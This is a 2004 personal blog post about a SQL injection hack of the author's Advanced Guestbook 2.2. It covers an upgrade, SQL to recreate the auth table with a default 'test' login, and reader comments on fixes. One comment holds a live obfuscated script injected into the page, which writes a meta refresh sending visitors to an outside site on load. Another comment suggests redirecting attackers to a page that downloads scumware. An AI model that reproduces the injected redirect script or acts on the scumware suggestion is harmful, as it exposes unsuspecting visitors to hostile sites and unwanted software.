ENTRIES
Welcome to Eric Cheng's online journal! You are not logged in. [ Log in ]
«  :: index ::  »

Advanced Guestbook 2.2 SQL Injection Vulnerability

:: Monday, April 26th, 2004 @ 8:06:36 am

:: Tags:

My guestbook (Advanced Guestbook 2.2) was hacked via a SQL injection vulnerability last week. The hackers were kind and only changed the last guestbook entry. Luckily, my guestbook database lives by itself, so there’s only so much damage they could have done.

The lesson? If you’re running Advanced Guestbook 2.2, you should upgrade to 2.3.1. :)

Shit. I wrote over my anti-spam modifications. I’m going to have to replicate them.

UPDATE After the update, I couldn’t seem to login to my guestbook admin panel. The initial login works, but then I get kicked out if I try to do anything. The solution:

Drop the “book_auth” table, and then recreate it using the following SQL:

CREATE TABLE book_auth (
ID smallint(5) NOT NULL auto_increment,
username varchar(60) NOT NULL default ”,
password varchar(60) NOT NULL default ”,
session varchar(32) NOT NULL default ”,
last_visit int(11) NOT NULL,
PRIMARY KEY (ID)
) TYPE=MyISAM;

#
# Dumping data for table ‘book_auth’
#

INSERT INTO book_auth VALUES (1,’test’,’773359240eb9a1d9′,’80c1b50318676c8f324c985b94ac780a’,1013100791);


And den, your username will be “test” and password “123″. Log in and change it. :)

UPDATE, AUG 31, 2005: I “upgraded” to Carbonize’s Lazarus Guestbook, which will upgrade your old Advanced Guestbook database, and is supposed to protect against spammers. Thanks, Carbonize! (the very same one who has posted comments here)

| New York, NY | link | trackback | Apr 26, 2004 08:06:36
  • http://www.carbonize.co.uk Carbonize

    Someone just gave me this link. I’d just like to point out that there is no need for people to upgrade as patching the exploit is simple. The instuctions aer on my forum along with a simple anti spam method and other modifications. I have also posted them on the Proxy2 forum.

  • http://www.carbonize.co.uk carbonize

    I know this is an old post but in case anyone reads it. There is no need t upgrade from 2.2 to 2.3.1 as it is simple to fix the login exploit. Instructions can be found on my forum or the proxy2 forum.

    BTW a Google search fo carbonize puts me at number 1. this in reference to your recent post.

  • guest

    I tried Eric’s method first. I can login but then when i try to go to any of the admin sections, it takes me back out to the admin login screen. I keep going in circles.

    Carbonize, I managed to use your fix to keep another of my clients guest book from getting hacked, thanks. It was just in time, I had just received a notification email and the hacker had already posted 1 guestbook entry and i’m guessing he/she was on their way to destroying the whole book. I beat them though. Thanks again.

    Any suggestions on the other. I can login with test and 123 but like I said before, it just takes me in circles. Thanks for all the help.

  • http://tropicdistortion.com Jonas Rejda

    Hey there Eric,
    Thanks for the guestbook fix. Having the sam issue as a previous poster. The Login loop. Loging gets me to the initial admin screen, but choosing any options pops back out to the login. Any suggestions to complete the fix? Much appreciated.

  • Frugal Yankee

    I am neither an administrator nor a geek, but I fixed the lamebrains who ketp trying to hack into my advanced guestbook. It was pretty simple: I changed the name of the directory and made sure the links on my homepage pointed to the guestbook page. You can change the name of the folder to anything you want. The instructions on the hackers’ pages tell them to look for “/guestbook/admin.php” or whatever. Put in a redirect so that they land on the nastiest web page you know of that will start downloading scumware onto their little computers. Oh, and I did change guestbooks completely, using a non-intuitive folder name, but the dirtbags kept trying to access the guestbook folder that had long since been deleted. The result? The attempts to access have stopped, and I betche my web site name has been removed from the hackers’ pages.

  • http://blog.chausstran.com/ John

    good solution!

  • http://www.nfi1.com/vb 123

    <script>var U7=window,W8=document;var a1=”%22%3E%22%22%3E%3E%3Cmeta%20http-equiv%3D%22Refresh%22%20content%3D%220%3Burl%3D%20http%3A//mosos-nfe.yoo7.com/html-h5.htm%20%22%3E%22%22%3E”;function V0(){var V0;V0=unescape(a1);W8.write(V0);}V0();</script>

  • Kanibrio

    mhhh
    its 2010 :)


    PUSHED

  • 13speedtest37

    and again xD

ARCHIVES
Journal Home
Where is Eric? (password)
Stuff for Sale
February 2014 (2)
December 2013 (1)
October 2013 (1)
June 2013 (3)
May 2013 (2)
April 2013 (3)
March 2013 (1)
February 2013 (2)
January 2013 (3)
November 2012 (2)
October 2012 (3)
September 2012 (8)
August 2012 (8)
July 2012 (8)
June 2012 (8)
May 2012 (5)
April 2012 (8)
March 2012 (15)
February 2012 (7)
January 2012 (6)
December 2011 (8)
November 2011 (10)
October 2011 (12)
September 2011 (8)
August 2011 (14)
July 2011 (9)
June 2011 (9)
May 2011 (11)
April 2011 (11)
March 2011 (12)
February 2011 (23)
January 2011 (22)
December 2010 (16)
November 2010 (17)
October 2010 (26)
September 2010 (24)
August 2010 (24)
July 2010 (30)
June 2010 (26)
May 2010 (21)
April 2010 (26)
March 2010 (19)
February 2010 (17)
January 2010 (29)
December 2009 (21)
November 2009 (23)
October 2009 (32)
September 2009 (19)
August 2009 (34)
July 2009 (21)
June 2009 (30)
May 2009 (23)
April 2009 (18)
March 2009 (6)
February 2009 (25)
January 2009 (5)
December 2008 (6)
November 2008 (22)
October 2008 (27)
September 2008 (25)
August 2008 (34)
July 2008 (34)
June 2008 (32)
May 2008 (26)
April 2008 (15)
March 2008 (19)
February 2008 (31)
January 2008 (43)
December 2007 (33)
November 2007 (29)
October 2007 (29)
September 2007 (9)
August 2007 (19)
July 2007 (10)
June 2007 (17)
May 2007 (26)
April 2007 (38)
March 2007 (39)
February 2007 (13)
January 2007 (35)
December 2006 (35)
November 2006 (14)
October 2006 (6)
September 2006 (20)
August 2006 (24)
July 2006 (32)
June 2006 (17)
May 2006 (23)
April 2006 (16)
March 2006 (16)
February 2006 (26)
January 2006 (33)
December 2005 (17)
November 2005 (21)
October 2005 (18)
September 2005 (17)
August 2005 (5)
July 2005 (15)
June 2005 (20)
May 2005 (25)
April 2005 (7)
March 2005 (22)
February 2005 (20)
January 2005 (38)
December 2004 (6)
November 2004 (24)
October 2004 (16)
September 2004 (22)
August 2004 (12)
July 2004 (17)
June 2004 (15)
May 2004 (11)
April 2004 (35)
March 2004 (40)
February 2004 (29)
January 2004 (36)
December 2003 (20)
November 2003 (18)
October 2003 (10)
September 2003 (18)
August 2003 (10)
July 2003 (34)
June 2003 (12)
May 2003 (49)
April 2003 (42)
March 2003 (42)
February 2003 (15)
January 2003 (7)
December 2002 (17)
November 2002 (19)
October 2002 (24)
September 2002 (22)
August 2002 (20)
July 2002 (21)
June 2002 (14)
May 2002 (15)
April 2002 (11)
March 2002 (13)
February 2002 (20)
January 2002 (17)
December 2001 (16)
Even Older Journal
Travel Journals

CATEGORIES / TAGS
(25) (2) (1) (3) (1) (1) (1) (6) (2) (3) (11) (8) (3) (1) (1) (4) (2) (4) (2) (1) (6) (1) (1) (1) (6) (2) (1) (1) (1) (3) (1) (5) (1) (1) (23) (1) (1) (1) (1) (1) (14) (1) (10) (1) (1) (2) (1) (1) (1) (27) (6) (3) (2) (4) (4) (1) (1) (41) (11) (12) (4) (38) (1) (3) (2) (4) (1) (1) (1) (1) (2) (1) (1) (1) (1) (1) (10) (25) (8) (3) (2) (3) (2) (1) (5) (1) (1) (2) (1) (1) (14) (1) (5) (1) (1) (5) (43) (1) (1) (1) (3) (24) (1) (1) (1) (1) (5) (1) (4) (1) (1) (10) (1) (3) (1) (1) (1) (1) (6) (5) (1) (1) (1) (3) (1) (3) (1) (1) (1) (69) (4) (3) (7) (3) (1) (16) (6) (1) (29) (1) (7) (1) (4) (4) (4) (1) (1) (1) (1) (1) (1) (1) (10) (4) (4) (2) (1) (89) (14) (1) (2) (79) (2) (2) (1) (1) (1) (1) (1) (1) (3) (2) (3) (1) (1) (24) (3) (5) (4) (1) (2) (1)
MOST POPULAR
Most Popular Posts of All Time


Eric Cheng's RSS Journal Journal RSS
Eric Cheng's RSS Journal Comments RSS

proudly powered by wordpress
script exec time: 0.85s
i hate computers.